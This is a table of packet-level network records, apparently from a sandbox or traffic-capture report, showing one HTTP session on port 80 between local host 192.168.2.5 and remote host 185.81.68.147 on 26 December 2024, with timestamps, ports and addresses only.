Dec 26, 2024 12:05:12.493459940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.493488073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.493510008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.494447947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.494494915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.494515896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.494560957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.495364904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.495409012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.495410919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.495455980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.496439934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.496452093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.496489048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.497191906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.497237921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.497317076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.497364998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.498667002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.498714924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.498773098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.498817921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.499242067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.499291897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.499346018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.499392986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.500287056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.500329971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.500365019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.500410080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.501326084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.501372099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.501451969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.501497030 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.502367020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.502407074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.502414942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.502444983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.503356934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.503416061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.503454924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.503499031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.504380941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.504440069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.504477024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.504534006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.505394936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.505445004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.505507946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.505557060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.506459951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.506539106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.506556034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.506602049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.507512093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.507527113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.507555962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.507594109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.508594990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.508641005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.508671999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.508721113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.509604931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.509649992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.509654045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.509717941 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.510627985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.510674953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.510894060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.510936022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.511612892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.511677027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.511698961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.511748075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.512604952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.512618065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.512679100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.513590097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.513672113 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.513765097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.513823986 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.514656067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.514717102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.514728069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.514771938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.515743971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.515786886 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.672468901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.672554016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.672626972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.672679901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.672897100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.672945976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.673103094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.673149109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.673969030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.674015045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.674069881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.674114943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.674966097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.675014019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.675026894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.675071001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.675998926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.676050901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.676120996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.676165104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.677020073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.677067995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.677109957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.677153111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.678137064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.678189039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.678292990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.678348064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.679085016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.679135084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.679199934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.679245949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.680075884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.680134058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.680192947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.680253983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.681159019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.681210995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.681245089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.681294918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.682121992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.682190895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.682231903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.682281017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.683142900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.683203936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.683290958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.683341980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.684189081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.684248924 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.684308052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.684355021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.685216904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.685276031 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.685307026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.685353994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.686204910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.686263084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.686332941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.686383963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.687247992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.687304974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.687325001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.687376976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.688530922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.688604116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.688754082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.688852072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.689305067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.689357042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.689400911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.689448118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.690330029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.690419912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.690459013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.690510035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.691591978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.691639900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.691643000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.691684961 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.692451000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.692497969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.692567110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.692610979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.693563938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.693588972 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.693613052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.693625927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.694417953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.694468975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.694518089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.694567919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.695489883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.695553064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.695688009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.695735931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.696552992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.696604013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.696650982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.696701050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.697551966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.697607040 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.697673082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.697722912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.698542118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.698592901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.698647022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.698693991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.699625015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.699678898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.699736118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.699786901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.700782061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.700829983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.700834990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.700875044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.701653957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.701703072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.701704025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.701754093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.702680111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.702728987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.702766895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.702812910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.703685045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.703731060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.703808069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.703855038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.704830885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.704927921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.704932928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.704983950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.705714941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.705773115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.705822945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.705873013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.706737041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.706794024 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.706837893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.706878901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.707758904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.707808018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.707854033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.707899094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.708817959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.708868027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.708962917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.709021091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.709835052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.709883928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.709893942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.709930897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.710825920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.710901976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.711261034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.711316109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.711843014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.711890936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.711899996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.711945057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.712882042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.712929964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.712966919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.713011026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.713895082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.713943005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.713973999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.714020967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.714962006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.715008974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.715012074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.715049982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.716098070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.716140985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.716142893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.716187000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.716957092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.717005968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.717062950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.717107058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.717971087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.718019009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.718086004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.718131065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.719027042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.719073057 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.719084978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.719172955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.720052958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.720117092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.720122099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.720165014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.721071959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.721149921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.721191883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.721234083 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.722124100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.722184896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.722184896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.722224951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.723138094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.723197937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.723253012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.723299980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.724152088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.724210978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.724244118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.724292994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.725203991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.725261927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.725291967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.725342989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.726146936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.726198912 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.883210897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.883301973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.883378983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.883456945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.883727074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.883775949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.883850098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.883896112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.884746075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.884797096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.884881973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.884929895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.885740042 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.885792017 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.885840893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.885888100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.886832952 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.886883020 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.886938095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.886985064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.887784004 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.887834072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.887881994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.887931108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.888824940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.888874054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.888957977 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.889003992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.889906883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.889955997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.890041113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.890096903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.890846014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.890893936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.890980959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.891035080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.891870975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:12.891918898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:12.892002106 CET	80	49708	185.81.68.147	192.168.2.5
